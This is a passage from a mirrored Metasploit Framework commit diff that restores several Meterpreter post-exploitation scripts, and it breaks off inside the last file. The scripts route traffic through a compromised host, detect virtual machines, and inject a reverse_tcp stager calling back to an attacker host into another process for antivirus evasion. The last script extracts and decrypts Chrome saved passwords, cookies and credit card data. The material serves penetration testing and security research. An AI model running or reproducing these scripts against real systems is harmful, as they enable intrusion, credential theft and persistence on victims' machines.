mirror of
https://github.com/rapid7/metasploit-framework
synced 2024-11-05 14:57:30 +01:00
Revert "delete meterpreter scripts with replacement post modules"
This reverts commit 13b06db48e
.
This commit is contained in:
parent
f580627f24
commit
1791f209fa
209
scripts/meterpreter/autoroute.rb
Normal file
209
scripts/meterpreter/autoroute.rb
Normal file
@ -0,0 +1,209 @@
|
||||
##
|
||||
# WARNING: Metasploit no longer maintains or accepts meterpreter scripts.
|
||||
# If you'd like to improve this script, please try to port it as a post
|
||||
# module instead. Thank you.
|
||||
##
|
||||
|
||||
|
||||
#
|
||||
# Meterpreter script for setting up a route from within a
|
||||
# Meterpreter session, without having to background the
|
||||
# current session.
|
||||
|
||||
# Default options
|
||||
session = client
|
||||
subnet = nil
|
||||
netmask = "255.255.255.0"
|
||||
print_only = false
|
||||
remove_route = false
|
||||
remove_all_routes = false
|
||||
|
||||
# Options parsing
|
||||
@@exec_opts = Rex::Parser::Arguments.new(
|
||||
"-h" => [false, "Help and usage"],
|
||||
"-s" => [true, "Subnet (IPv4, for example, 10.10.10.0)"],
|
||||
"-n" => [true, "Netmask (IPv4, for example, 255.255.255.0"],
|
||||
"-p" => [false, "Print active routing table. All other options are ignored"],
|
||||
"-d" => [false, "Delete the named route instead of adding it"],
|
||||
"-D" => [false, "Delete all routes (does not require a subnet)"]
|
||||
)
|
||||
|
||||
@@exec_opts.parse(args) { |opt, idx, val|
|
||||
v = val.to_s.strip
|
||||
case opt
|
||||
when "-h"
|
||||
usage
|
||||
raise Rex::Script::Completed
|
||||
when "-s"
|
||||
if v =~ /[0-9\x2e]+\x2f[0-9]{1,2}/
|
||||
subnet,cidr = v.split("\x2f")
|
||||
netmask = Rex::Socket.addr_ctoa(cidr.to_i)
|
||||
else
|
||||
subnet = v
|
||||
end
|
||||
when "-n"
|
||||
if (0..32) === v.to_i
|
||||
netmask = Rex::Socket.addr_ctoa(v.to_i)
|
||||
else
|
||||
netmask = v
|
||||
end
|
||||
when "-p"
|
||||
print_only = true
|
||||
when "-d"
|
||||
remove_route = true
|
||||
when "-D"
|
||||
remove_all_routes = true
|
||||
end
|
||||
}
|
||||
|
||||
def delete_all_routes
|
||||
if Rex::Socket::SwitchBoard.routes.size > 0
|
||||
routes = []
|
||||
Rex::Socket::SwitchBoard.each do |route|
|
||||
routes << {:subnet => route.subnet, :netmask => route.netmask}
|
||||
end
|
||||
routes.each {|route_opts| delete_route(route_opts)}
|
||||
|
||||
print_status "Deleted all routes"
|
||||
else
|
||||
print_status "No routes have been added yet"
|
||||
end
|
||||
raise Rex::Script::Completed
|
||||
end
|
||||
|
||||
# Identical functionality to command_dispatcher/core.rb, and
|
||||
# nearly identical code
|
||||
def print_routes
|
||||
if Rex::Socket::SwitchBoard.routes.size > 0
|
||||
tbl = Msf::Ui::Console::Table.new(
|
||||
Msf::Ui::Console::Table::Style::Default,
|
||||
'Header' => "Active Routing Table",
|
||||
'Prefix' => "\n",
|
||||
'Postfix' => "\n",
|
||||
'Columns' =>
|
||||
[
|
||||
'Subnet',
|
||||
'Netmask',
|
||||
'Gateway',
|
||||
],
|
||||
'ColProps' =>
|
||||
{
|
||||
'Subnet' => { 'MaxWidth' => 17 },
|
||||
'Netmask' => { 'MaxWidth' => 17 },
|
||||
})
|
||||
ret = []
|
||||
|
||||
Rex::Socket::SwitchBoard.each { |route|
|
||||
if (route.comm.kind_of?(Msf::Session))
|
||||
gw = "Session #{route.comm.sid}"
|
||||
else
|
||||
gw = route.comm.name.split(/::/)[-1]
|
||||
end
|
||||
tbl << [ route.subnet, route.netmask, gw ]
|
||||
}
|
||||
print tbl.to_s
|
||||
else
|
||||
print_status "No routes have been added yet"
|
||||
end
|
||||
raise Rex::Script::Completed
|
||||
end
|
||||
|
||||
# Yet another IP validator. I'm sure there's some Rex
|
||||
# function that can just do this.
|
||||
def check_ip(ip=nil)
|
||||
return false if(ip.nil? || ip.strip.empty?)
|
||||
begin
|
||||
rw = Rex::Socket::RangeWalker.new(ip.strip)
|
||||
(rw.valid? && rw.length == 1) ? true : false
|
||||
rescue
|
||||
false
|
||||
end
|
||||
end
|
||||
|
||||
# Adds a route to the framework instance
|
||||
def add_route(opts={})
|
||||
subnet = opts[:subnet]
|
||||
netmask = opts[:netmask] || "255.255.255.0" # Default class C
|
||||
Rex::Socket::SwitchBoard.add_route(subnet, netmask, session)
|
||||
end
|
||||
|
||||
# Removes a route to the framework instance
|
||||
def delete_route(opts={})
|
||||
subnet = opts[:subnet]
|
||||
netmask = opts[:netmask] || "255.255.255.0" # Default class C
|
||||
Rex::Socket::SwitchBoard.remove_route(subnet, netmask, session)
|
||||
end
|
||||
|
||||
|
||||
# Defines usage
|
||||
def usage()
|
||||
print_status "Usage: run autoroute [-r] -s subnet -n netmask"
|
||||
print_status "Examples:"
|
||||
print_status " run autoroute -s 10.1.1.0 -n 255.255.255.0 # Add a route to 10.10.10.1/255.255.255.0"
|
||||
print_status " run autoroute -s 10.10.10.1 # Netmask defaults to 255.255.255.0"
|
||||
print_status " run autoroute -s 10.10.10.1/24 # CIDR notation is also okay"
|
||||
print_status " run autoroute -p # Print active routing table"
|
||||
print_status " run autoroute -d -s 10.10.10.1 # Deletes the 10.10.10.1/255.255.255.0 route"
|
||||
print_status "Use the \"route\" and \"ipconfig\" Meterpreter commands to learn about available routes"
|
||||
print_error "Deprecation warning: This script has been replaced by the post/windows/manage/autoroute module"
|
||||
end
|
||||
|
||||
# Validates the command options
|
||||
def validate_cmd(subnet=nil,netmask=nil)
|
||||
if subnet.nil?
|
||||
print_error "Missing -s (subnet) option"
|
||||
return false
|
||||
end
|
||||
|
||||
unless(check_ip(subnet))
|
||||
print_error "Subnet invalid (must be IPv4)"
|
||||
usage
|
||||
return false
|
||||
end
|
||||
|
||||
if(netmask and !(Rex::Socket.addr_atoc(netmask)))
|
||||
print_error "Netmask invalid (must define contiguous IP addressing)"
|
||||
usage
|
||||
return false
|
||||
end
|
||||
|
||||
if(netmask and !check_ip(netmask))
|
||||
print_error "Netmask invalid"
|
||||
return usage
|
||||
end
|
||||
true
|
||||
end
|
||||
|
||||
if print_only
|
||||
print_routes()
|
||||
raise Rex::Script::Completed
|
||||
end
|
||||
|
||||
if remove_all_routes
|
||||
delete_all_routes()
|
||||
raise Rex::Script::Completed
|
||||
end
|
||||
|
||||
raise Rex::Script::Completed unless validate_cmd(subnet,netmask)
|
||||
|
||||
if remove_route
|
||||
print_status("Deleting route to %s/%s..." % [subnet,netmask])
|
||||
route_result = delete_route(:subnet => subnet, :netmask => netmask)
|
||||
else
|
||||
print_status("Adding a route to %s/%s..." % [subnet,netmask])
|
||||
route_result = add_route(:subnet => subnet, :netmask => netmask)
|
||||
end
|
||||
|
||||
if route_result
|
||||
print_good "%s route to %s/%s via %s" % [
|
||||
(remove_route ? "Deleted" : "Added"),
|
||||
subnet,netmask,client.sock.peerhost
|
||||
]
|
||||
else
|
||||
print_error "Could not %s route" % [(remove_route ? "delete" : "add")]
|
||||
end
|
||||
|
||||
if Rex::Socket::SwitchBoard.routes.size > 0
|
||||
print_status "Use the -p option to list all active routes"
|
||||
end
|
||||
|
359
scripts/meterpreter/checkvm.rb
Normal file
359
scripts/meterpreter/checkvm.rb
Normal file
@ -0,0 +1,359 @@
|
||||
##
|
||||
# WARNING: Metasploit no longer maintains or accepts meterpreter scripts.
|
||||
# If you'd like to imporve this script, please try to port it as a post
|
||||
# module instead. Thank you.
|
||||
##
|
||||
|
||||
|
||||
# Meterpreter script for detecting if target host is a Virtual Machine
|
||||
# Provided by Carlos Perez at carlos_perez[at]darkoperator.com
|
||||
# Version: 0.2.0
|
||||
session = client
|
||||
|
||||
@@exec_opts = Rex::Parser::Arguments.new(
|
||||
"-h" => [ false,"Help menu." ]
|
||||
)
|
||||
|
||||
@@exec_opts.parse(args) { |opt, idx, val|
|
||||
case opt
|
||||
when "-h"
|
||||
print_line("CheckVM -- Check various attributes on the target for evidence that it is a virtual machine")
|
||||
print_line("USAGE: run checkvm")
|
||||
print_line(@@exec_opts.usage)
|
||||
raise Rex::Script::Completed
|
||||
end
|
||||
}
|
||||
|
||||
# Function for detecting if it is a Hyper-V VM
|
||||
def hypervchk(session)
|
||||
begin
|
||||
vm = false
|
||||
key = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, 'SOFTWARE\Microsoft', KEY_READ)
|
||||
sfmsvals = key.enum_key
|
||||
if sfmsvals.include?("Hyper-V")
|
||||
print_status("This is a Hyper-V Virtual Machine")
|
||||
vm = true
|
||||
elsif sfmsvals.include?("VirtualMachine")
|
||||
print_status("This is a Hyper-V Virtual Machine")
|
||||
vm = true
|
||||
end
|
||||
key.close
|
||||
rescue
|
||||
end
|
||||
|
||||
if not vm
|
||||
begin
|
||||
key = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, 'SYSTEM\ControlSet001\Services', KEY_READ)
|
||||
srvvals = key.enum_key
|
||||
if srvvals.include?("vmicheartbeat")
|
||||
print_status("This is a Hyper-V Virtual Machine")
|
||||
vm = true
|
||||
elsif srvvals.include?("vmicvss")
|
||||
print_status("This is a Hyper-V Virtual Machine")
|
||||
vm = true
|
||||
elsif srvvals.include?("vmicshutdown")
|
||||
print_status("This is a Hyper-V Virtual Machine")
|
||||
vm = true
|
||||
elsif srvvals.include?("vmicexchange")
|
||||
print_status("This is a Hyper-V Virtual Machine")
|
||||
vm = true
|
||||
end
|
||||
rescue
|
||||
end
|
||||
end
|
||||
return vm
|
||||
end
|
||||
|
||||
# Function for checking if it is a VMware VM
|
||||
def vmwarechk(session)
|
||||
vm = false
|
||||
begin
|
||||
key = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, 'SYSTEM\ControlSet001\Services', KEY_READ)
|
||||
srvvals = key.enum_key
|
||||
if srvvals.include?("vmdebug")
|
||||
print_status("This is a VMware Virtual Machine")
|
||||
vm = true
|
||||
elsif srvvals.include?("vmmouse")
|
||||
print_status("This is a VMware Virtual Machine")
|
||||
vm = true
|
||||
elsif srvvals.include?("VMTools")
|
||||
print_status("This is a VMware Virtual Machine")
|
||||
vm = true
|
||||
elsif srvvals.include?("VMMEMCTL")
|
||||
print_status("This is a VMware Virtual Machine")
|
||||
vm = true
|
||||
end
|
||||
key.close
|
||||
rescue
|
||||
end
|
||||
if not vm
|
||||
begin
|
||||
key = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, 'HARDWARE\DEVICEMAP\Scsi\Scsi Port 0\Scsi Bus 0\Target Id 0\Logical Unit Id 0')
|
||||
if key.query_value('Identifier').data.downcase =~ /vmware/
|
||||
print_status("This is a VMware Virtual Machine")
|
||||
vm = true
|
||||
end
|
||||
rescue
|
||||
end
|
||||
end
|
||||
if not vm
|
||||
vmwareprocs = [
|
||||
"vmwareuser.exe",
|
||||
"vmwaretray.exe"
|
||||
]
|
||||
vmwareprocs.each do |p|
|
||||
session.sys.process.get_processes().each do |x|
|
||||
if p == (x['name'].downcase)
|
||||
print_status("This is a VMware Virtual Machine") if not vm
|
||||
vm = true
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
key.close
|
||||
return vm
|
||||
|
||||
end
|
||||
# Function for checking if it is a Virtual PC VM
|
||||
def checkvrtlpc(session)
|
||||
vm = false
|
||||
vpcprocs = [
|
||||
"vmusrvc.exe",
|
||||
"vmsrvc.exe"
|
||||
]
|
||||
vpcprocs.each do |p|
|
||||
session.sys.process.get_processes().each do |x|
|
||||
if p == (x['name'].downcase)
|
||||
print_status("This is a VirtualPC Virtual Machine") if not vm
|
||||
vm = true
|
||||
end
|
||||
end
|
||||
end
|
||||
if not vm
|
||||
begin
|
||||
key = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, 'SYSTEM\ControlSet001\Services', KEY_READ)
|
||||
srvvals = key.enum_key
|
||||
if srvvals.include?("vpcbus")
|
||||
print_status("This is a VirtualPC Virtual Machine")
|
||||
vm = true
|
||||
elsif srvvals.include?("vpc-s3")
|
||||
print_status("This is a VirtualPC Virtual Machine")
|
||||
vm = true
|
||||
elsif srvvals.include?("vpcuhub")
|
||||
print_status("This is a VirtualPC Virtual Machine")
|
||||
vm = true
|
||||
elsif srvvals.include?("msvmmouf")
|
||||
print_status("This is a VirtualPC Virtual Machine")
|
||||
vm = true
|
||||
end
|
||||
key.close
|
||||
rescue
|
||||
end
|
||||
end
|
||||
return vm
|
||||
end
|
||||
|
||||
def vboxchk(session)
|
||||
vm = false
|
||||
vboxprocs = [
|
||||
"vboxservice.exe",
|
||||
"vboxtray.exe"
|
||||
]
|
||||
vboxprocs.each do |p|
|
||||
session.sys.process.get_processes().each do |x|
|
||||
if p == (x['name'].downcase)
|
||||
print_status("This is a Sun VirtualBox Virtual Machine") if not vm
|
||||
vm = true
|
||||
end
|
||||
end
|
||||
end
|
||||
if not vm
|
||||
begin
|
||||
key = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, 'HARDWARE\ACPI\DSDT', KEY_READ)
|
||||
srvvals = key.enum_key
|
||||
if srvvals.include?("VBOX__")
|
||||
print_status("This is a Sun VirtualBox Virtual Machine")
|
||||
vm = true
|
||||
end
|
||||
rescue
|
||||
end
|
||||
end
|
||||
if not vm
|
||||
begin
|
||||
key = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, 'HARDWARE\ACPI\FADT', KEY_READ)
|
||||
srvvals = key.enum_key
|
||||
if srvvals.include?("VBOX__")
|
||||
print_status("This is a Sun VirtualBox Virtual Machine")
|
||||
vm = true
|
||||
end
|
||||
rescue
|
||||
end
|
||||
end
|
||||
if not vm
|
||||
begin
|
||||
key = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, 'HARDWARE\ACPI\RSDT', KEY_READ)
|
||||
srvvals = key.enum_key
|
||||
if srvvals.include?("VBOX__")
|
||||
print_status("This is a Sun VirtualBox Virtual Machine")
|
||||
vm = true
|
||||
end
|
||||
rescue
|
||||
end
|
||||
end
|
||||
if not vm
|
||||
begin
|
||||
key = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, 'HARDWARE\DEVICEMAP\Scsi\Scsi Port 0\Scsi Bus 0\Target Id 0\Logical Unit Id 0')
|
||||
if key.query_value('Identifier').data.downcase =~ /vbox/
|
||||
print_status("This is a Sun VirtualBox Virtual Machine")
|
||||
vm = true
|
||||
end
|
||||
rescue
|
||||
end
|
||||
end
|
||||
if not vm
|
||||
begin
|
||||
key = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, 'HARDWARE\DESCRIPTION\System')
|
||||
if key.query_value('SystemBiosVersion').data.downcase =~ /vbox/
|
||||
print_status("This is a Sun VirtualBox Virtual Machine")
|
||||
vm = true
|
||||
end
|
||||
rescue
|
||||
end
|
||||
end
|
||||
if not vm
|
||||
begin
|
||||
key = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, 'SYSTEM\ControlSet001\Services', KEY_READ)
|
||||
srvvals = key.enum_key
|
||||
if srvvals.include?("VBoxMouse")
|
||||
print_status("This is a Sun VirtualBox Virtual Machine")
|
||||
vm = true
|
||||
elsif srvvals.include?("VBoxGuest")
|
||||
print_status("This is a Sun VirtualBox Virtual Machine")
|
||||
vm = true
|
||||
elsif srvvals.include?("VBoxService")
|
||||
print_status("This is a Sun VirtualBox Virtual Machine")
|
||||
vm = true
|
||||
elsif srvvals.include?("VBoxSF")
|
||||
print_status("This is a Sun VirtualBox Virtual Machine")
|
||||
vm = true
|
||||
end
|
||||
key.close
|
||||
rescue
|
||||
end
|
||||
end
|
||||
return vm
|
||||
end
|
||||
|
||||
def xenchk(session)
|
||||
vm = false
|
||||
xenprocs = [
|
||||
"xenservice.exe"
|
||||
]
|
||||
xenprocs.each do |p|
|
||||
session.sys.process.get_processes().each do |x|
|
||||
if p == (x['name'].downcase)
|
||||
print_status("This is a Xen Virtual Machine") if not vm
|
||||
vm = true
|
||||
end
|
||||
end
|
||||
end
|
||||
if not vm
|
||||
begin
|
||||
key = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, 'HARDWARE\ACPI\DSDT', KEY_READ)
|
||||
srvvals = key.enum_key
|
||||
if srvvals.include?("Xen")
|
||||
print_status("This is a Xen Virtual Machine")
|
||||
vm = true
|
||||
end
|
||||
rescue
|
||||
end
|
||||
end
|
||||
if not vm
|
||||
begin
|
||||
key = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, 'HARDWARE\ACPI\FADT', KEY_READ)
|
||||
srvvals = key.enum_key
|
||||
if srvvals.include?("Xen")
|
||||
print_status("This is a Xen Virtual Machine")
|
||||
vm = true
|
||||
end
|
||||
rescue
|
||||
end
|
||||
end
|
||||
if not vm
|
||||
begin
|
||||
key = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, 'HARDWARE\ACPI\RSDT', KEY_READ)
|
||||
srvvals = key.enum_key
|
||||
if srvvals.include?("Xen")
|
||||
print_status("This is a Xen Virtual Machine")
|
||||
vm = true
|
||||
end
|
||||
rescue
|
||||
end
|
||||
end
|
||||
if not vm
|
||||
begin
|
||||
key = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, 'SYSTEM\ControlSet001\Services', KEY_READ)
|
||||
srvvals = key.enum_key
|
||||
if srvvals.include?("xenevtchn")
|
||||
print_status("This is a Xen Virtual Machine")
|
||||
vm = true
|
||||
elsif srvvals.include?("xennet")
|
||||
print_status("This is a Xen Virtual Machine")
|
||||
vm = true
|
||||
elsif srvvals.include?("xennet6")
|
||||
print_status("This is a Xen Virtual Machine")
|
||||
vm = true
|
||||
elsif srvvals.include?("xensvc")
|
||||
print_status("This is a Xen Virtual Machine")
|
||||
vm = true
|
||||
elsif srvvals.include?("xenvdb")
|
||||
print_status("This is a Xen Virtual Machine")
|
||||
vm = true
|
||||
end
|
||||
key.close
|
||||
rescue
|
||||
end
|
||||
end
|
||||
return vm
|
||||
end
|
||||
|
||||
def qemuchk(session)
|
||||
vm = false
|
||||
if not vm
|
||||
begin
|
||||
key = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, 'HARDWARE\DEVICEMAP\Scsi\Scsi Port 0\Scsi Bus 0\Target Id 0\Logical Unit Id 0')
|
||||
if key.query_value('Identifier').data.downcase =~ /qemu/
|
||||
print_status("This is a QEMU/KVM Virtual Machine")
|
||||
vm = true
|
||||
end
|
||||
rescue
|
||||
end
|
||||
end
|
||||
if not vm
|
||||
begin
|
||||
key = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, 'HARDWARE\DESCRIPTION\System\CentralProcessor\0')
|
||||
if key.query_value('ProcessorNameString').data.downcase =~ /qemu/
|
||||
print_status("This is a QEMU/KVM Virtual Machine")
|
||||
vm = true
|
||||
end
|
||||
rescue
|
||||
end
|
||||
end
|
||||
|
||||
return vm
|
||||
|
||||
end
|
||||
|
||||
if client.platform =~ /win32|win64/
|
||||
print_status("Checking if target is a Virtual Machine .....")
|
||||
found = hypervchk(session)
|
||||
found = vmwarechk(session) if not found
|
||||
found = checkvrtlpc(session) if not found
|
||||
found = vboxchk(session) if not found
|
||||
found = xenchk(session) if not found
|
||||
found = qemuchk(session) if not found
|
||||
print_status("It appears to be physical host.") if not found
|
||||
else
|
||||
print_error("This version of Meterpreter is not supported with this Script!")
|
||||
raise Rex::Script::Completed
|
||||
end
|
153
scripts/meterpreter/duplicate.rb
Normal file
153
scripts/meterpreter/duplicate.rb
Normal file
@ -0,0 +1,153 @@
|
||||
##
|
||||
# WARNING: Metasploit no longer maintains or accepts meterpreter scripts.
|
||||
# If you'd like to imporve this script, please try to port it as a post
|
||||
# module instead. Thank you.
|
||||
##
|
||||
|
||||
|
||||
# Author: Scriptjunkie
|
||||
# Uses a meterpreter session to spawn a new meterpreter session in a different process.
|
||||
# A new process allows the session to take "risky" actions that might get the process killed by
|
||||
# A/V, giving a meterpreter session to another controller, or start a keylogger on another
|
||||
# process.
|
||||
#
|
||||
|
||||
#
|
||||
# Options
|
||||
#
|
||||
opts = Rex::Parser::Arguments.new(
|
||||
"-h" => [ false, "This help menu"],
|
||||
"-r" => [ true, "The IP of a remote Metasploit listening for the connect back"],
|
||||
"-p" => [ true, "The port on the remote host where Metasploit is listening (default: 4546)"],
|
||||
"-w" => [ false, "Write and execute an exe instead of injecting into a process"],
|
||||
"-e" => [ true, "Executable to inject into. Default notepad.exe, will fall back to spawn if not found."],
|
||||
"-P" => [ true, "Process id to inject into; use instead of -e if multiple copies of one executable are running."],
|
||||
"-s" => [ false, "Spawn new executable to inject to. Only useful with -P."],
|
||||
"-D" => [ false, "Disable the automatic exploit/multi/handler (use with -r to accept on another system)"]
|
||||
)
|
||||
|
||||
#
|
||||
# Default parameters
|
||||
#
|
||||
|
||||
rhost = Rex::Socket.source_address("1.2.3.4")
|
||||
rport = 4546
|
||||
lhost = "127.0.0.1"
|
||||
|
||||
spawn = false
|
||||
autoconn = true
|
||||
inject = true
|
||||
target_pid = nil
|
||||
target = "notepad.exe"
|
||||
pay = nil
|
||||
|
||||
#
|
||||
# Option parsing
|
||||
#
|
||||
opts.parse(args) do |opt, idx, val|
|
||||
case opt
|
||||
when "-h"
|
||||
print_line(opts.usage)
|
||||
raise Rex::Script::Completed
|
||||
when "-r"
|
||||
rhost = val
|
||||
when "-p"
|
||||
rport = val.to_i
|
||||
when "-P"
|
||||
target_pid = val.to_i
|
||||
when "-e"
|
||||
target = val
|
||||
when "-D"
|
||||
autoconn = false
|
||||
when "-w"
|
||||
inject = false
|
||||
when "-s"
|
||||
spawn = true
|
||||
end
|
||||
end
|
||||
|
||||
print_status("Creating a reverse meterpreter stager: LHOST=#{rhost} LPORT=#{rport}")
|
||||
|
||||
payload = "windows/meterpreter/reverse_tcp"
|
||||
pay = client.framework.payloads.create(payload)
|
||||
pay.datastore['LHOST'] = rhost
|
||||
pay.datastore['LPORT'] = rport
|
||||
mul = client.framework.exploits.create("multi/handler")
|
||||
mul.share_datastore(pay.datastore)
|
||||
mul.datastore['WORKSPACE'] = client.workspace
|
||||
mul.datastore['PAYLOAD'] = payload
|
||||
mul.datastore['EXITFUNC'] = 'process'
|
||||
mul.datastore['ExitOnSession'] = true
|
||||
print_status("Running payload handler")
|
||||
mul.exploit_simple(
|
||||
'Payload' => mul.datastore['PAYLOAD'],
|
||||
'RunAsJob' => true
|
||||
)
|
||||
|
||||
if client.platform =~ /win32|win64/
|
||||
server = client.sys.process.open
|
||||
|
||||
print_status("Current server process: #{server.name} (#{server.pid})")
|
||||
|
||||
if ! inject
|
||||
exe = ::Msf::Util::EXE.to_win32pe(client.framework, raw)
|
||||
print_status("Meterpreter stager executable #{exe.length} bytes long")
|
||||
|
||||
#
|
||||
# Upload to the filesystem
|
||||
#
|
||||
tempdir = client.sys.config.getenv('TEMP')
|
||||
tempexe = tempdir + "\\" + Rex::Text.rand_text_alpha((rand(8)+6)) + ".exe"
|
||||
tempexe.gsub!("\\\\", "\\")
|
||||
|
||||
fd = client.fs.file.new(tempexe, "wb")
|
||||
fd.write(exe)
|
||||
fd.close
|
||||
print_status("Uploaded the agent to #{tempexe} (must be deleted manually)")
|
||||
|
||||
#
|
||||
# Execute the agent
|
||||
#
|
||||
print_status("Executing the agent with endpoint #{rhost}:#{rport}...")
|
||||
pid = session.sys.process.execute(tempexe, nil, {'Hidden' => true})
|
||||
elsif ! spawn
|
||||
# Get the target process name
|
||||
print_status("Duplicating into #{target}...")
|
||||
|
||||
# Get the target process pid
|
||||
if not target_pid
|
||||
target_pid = client.sys.process[target]
|
||||
end
|
||||
|
||||
if not target_pid
|
||||
print_error("Could not access the target process")
|
||||
print_status("Spawning a notepad.exe host process...")
|
||||
note = client.sys.process.execute('notepad.exe', nil, {'Hidden' => true })
|
||||
target_pid = note.pid
|
||||
end
|
||||
else
|
||||
print_status("Spawning a #{target} host process...")
|
||||
newproc = client.sys.process.execute(target, nil, {'Hidden' => true })
|
||||
target_pid = newproc.pid
|
||||
if not target_pid
|
||||
print_error("Could not create a process around #{target}")
|
||||
raise Rex::Script::Completed
|
||||
end
|
||||
end
|
||||
|
||||
# Do the duplication
|
||||
print_status("Injecting meterpreter into process ID #{target_pid}")
|
||||
host_process = client.sys.process.open(target_pid, PROCESS_ALL_ACCESS)
|
||||
raw = pay.generate
|
||||
mem = host_process.memory.allocate(raw.length + (raw.length % 1024))
|
||||
|
||||
print_status("Allocated memory at address #{"0x%.8x" % mem}, for #{raw.length} byte stager")
|
||||
print_status("Writing the stager into memory...")
|
||||
host_process.memory.write(mem, raw)
|
||||
host_process.thread.create(mem, 0)
|
||||
print_status("New server process: #{target_pid}")
|
||||
|
||||
else
|
||||
print_error("This version of Meterpreter is not supported with this Script!")
|
||||
raise Rex::Script::Completed
|
||||
end
|
244
scripts/meterpreter/enum_chrome.rb
Normal file
244
scripts/meterpreter/enum_chrome.rb
Normal file
@ -0,0 +1,244 @@
|
||||
##
|
||||
# WARNING: Metasploit no longer maintains or accepts meterpreter scripts.
|
||||
# If you'd like to imporve this script, please try to port it as a post
|
||||
# module instead. Thank you.
|
||||
##
|
||||
|
||||
|
||||
#
|
||||
# Script to extract data from a chrome installation.
|
||||
#
|
||||
# Author: Sven Taute <sven dot taute at gmail com>
|
||||
#
|
||||
|
||||
require 'sqlite3'
|
||||
require 'yaml'
|
||||
|
||||
if client.platform !~ /win32/
|
||||
print_error("This version of Meterpreter is not supported with this Script!")
|
||||
raise Rex::Script::Completed
|
||||
end
|
||||
@host_info = client.sys.config.sysinfo
|
||||
@chrome_files = [
|
||||
{ :in_file => "Web Data", :sql => "select * from autofill;", :out_file => "autofill"},
|
||||
{ :in_file => "Web Data", :sql => "SELECT username_value,origin_url,signon_realm FROM logins;", :out_file => "user_site"},
|
||||
{ :in_file => "Web Data", :sql => "select * from autofill_profiles;", :out_file => "autofill_profiles"},
|
||||
{ :in_file => "Web Data", :sql => "select * from credit_cards;", :out_file => "autofill_credit_cards", :encrypted_fields => ["card_number_encrypted"]},
|
||||
{ :in_file => "Cookies", :sql => "select * from cookies;", :out_file => "cookies"},
|
||||
{ :in_file => "History", :sql => "select * from urls;", :out_file => "url_history"},
|
||||
{ :in_file => "History", :sql => "SELECT url FROM downloads;", :out_file => "download_history"},
|
||||
{ :in_file => "History", :sql => "SELECT term FROM keyword_search_terms;", :out_file => "search_history"},
|
||||
{ :in_file => "Login Data", :sql => "select * from logins;", :out_file => "logins", :encrypted_fields => ["password_value"]},
|
||||
{ :in_file => "Bookmarks", :sql => nil, :out_file => "bookmarks.json"},
|
||||
{ :in_file => "Preferences", :sql => nil, :out_file => "preferences.json"},
|
||||
]
|
||||
@migrate = false
|
||||
@old_pid = nil
|
||||
@output_format = []
|
||||
|
||||
opts = Rex::Parser::Arguments.new(
|
||||
"-h" => [ false, "Help menu" ],
|
||||
"-m" => [ false, "Migrate into explorer.exe"],
|
||||
"-f" => [ true, "Output format: j[son], y[aml], t[ext]. Defaults to json"]
|
||||
)
|
||||
|
||||
opts.parse(args) { |opt, idx, val|
|
||||
case opt
|
||||
when "-m"
|
||||
@migrate = true
|
||||
when "-f"
|
||||
if val =~ /^j(son)?$/
|
||||
@output_format << "json"
|
||||
elsif val =~ /^y(aml)?$/
|
||||
@output_format << "yaml"
|
||||
elsif val =~ /^t(ext)?$/
|
||||
@output_format << "text"
|
||||
else
|
||||
print_error("unknown format '#{val}'.")
|
||||
raise Rex::Script::Completed
|
||||
end
|
||||
when "-h"
|
||||
print_line("")
|
||||
print_line("DESCRIPTION: Script for enumerating preferences and extracting")
|
||||
print_line("information from the Google Chrome Browser on a target system.")
|
||||
print_line("Decryption of creditcard information and passwords only supported")
|
||||
print_line("on 32bit Windows Operating Systems.")
|
||||
print_line("")
|
||||
print_line("USAGE: run enum_chrome [-m]")
|
||||
print_line(opts.usage)
|
||||
raise Rex::Script::Completed
|
||||
end
|
||||
}
|
||||
|
||||
@output_format << "json" if @output_format.empty?
|
||||
if @output_format.include?("json")
|
||||
begin
|
||||
require 'json'
|
||||
rescue LoadError
|
||||
print_error("JSON is not available.")
|
||||
@output_format.delete("json")
|
||||
if @output_format.empty?
|
||||
print_status("Falling back to raw text output.")
|
||||
@output_format << "text"
|
||||
end
|
||||
end
|
||||
end
|
||||
print_status("using output format(s): " + @output_format.join(", "))
|
||||
|
||||
def prepare_railgun
|
||||
rg = client.railgun
|
||||
if (!rg.get_dll('crypt32'))
|
||||
rg.add_dll('crypt32')
|
||||
end
|
||||
|
||||
if (!rg.crypt32.functions["CryptUnprotectData"])
|
||||
rg.add_function("crypt32", "CryptUnprotectData", "BOOL", [
|
||||
["PBLOB","pDataIn", "in"],
|
||||
["PWCHAR", "szDataDescr", "out"],
|
||||
["PBLOB", "pOptionalEntropy", "in"],
|
||||
["PDWORD", "pvReserved", "in"],
|
||||
["PBLOB", "pPromptStruct", "in"],
|
||||
["DWORD", "dwFlags", "in"],
|
||||
["PBLOB", "pDataOut", "out"]
|
||||
])
|
||||
end
|
||||
end
|
||||
|
||||
def decrypt_data(data)
|
||||
rg = client.railgun
|
||||
pid = client.sys.process.open.pid
|
||||
process = client.sys.process.open(pid, PROCESS_ALL_ACCESS)
|
||||
|
||||
mem = process.memory.allocate(1024)
|
||||
process.memory.write(mem, data)
|
||||
|
||||
addr = [mem].pack("V")
|
||||
len = [data.length].pack("V")
|
||||
ret = rg.crypt32.CryptUnprotectData("#{len}#{addr}", 16, nil, nil, nil, 0, 8)
|
||||
len, addr = ret["pDataOut"].unpack("V2")
|
||||
return "" if len == 0
|
||||
decrypted = process.memory.read(addr, len)
|
||||
end
|
||||
|
||||
def write_output(file, rows)
|
||||
if @output_format.include?("json")
|
||||
::File.open(file + ".json", "w") { |f| f.write(JSON.pretty_generate(rows)) }
|
||||
end
|
||||
if @output_format.include?("yaml")
|
||||
::File.open(file + ".yml", "w") { |f| f.write(JSON.pretty_generate(rows)) }
|
||||
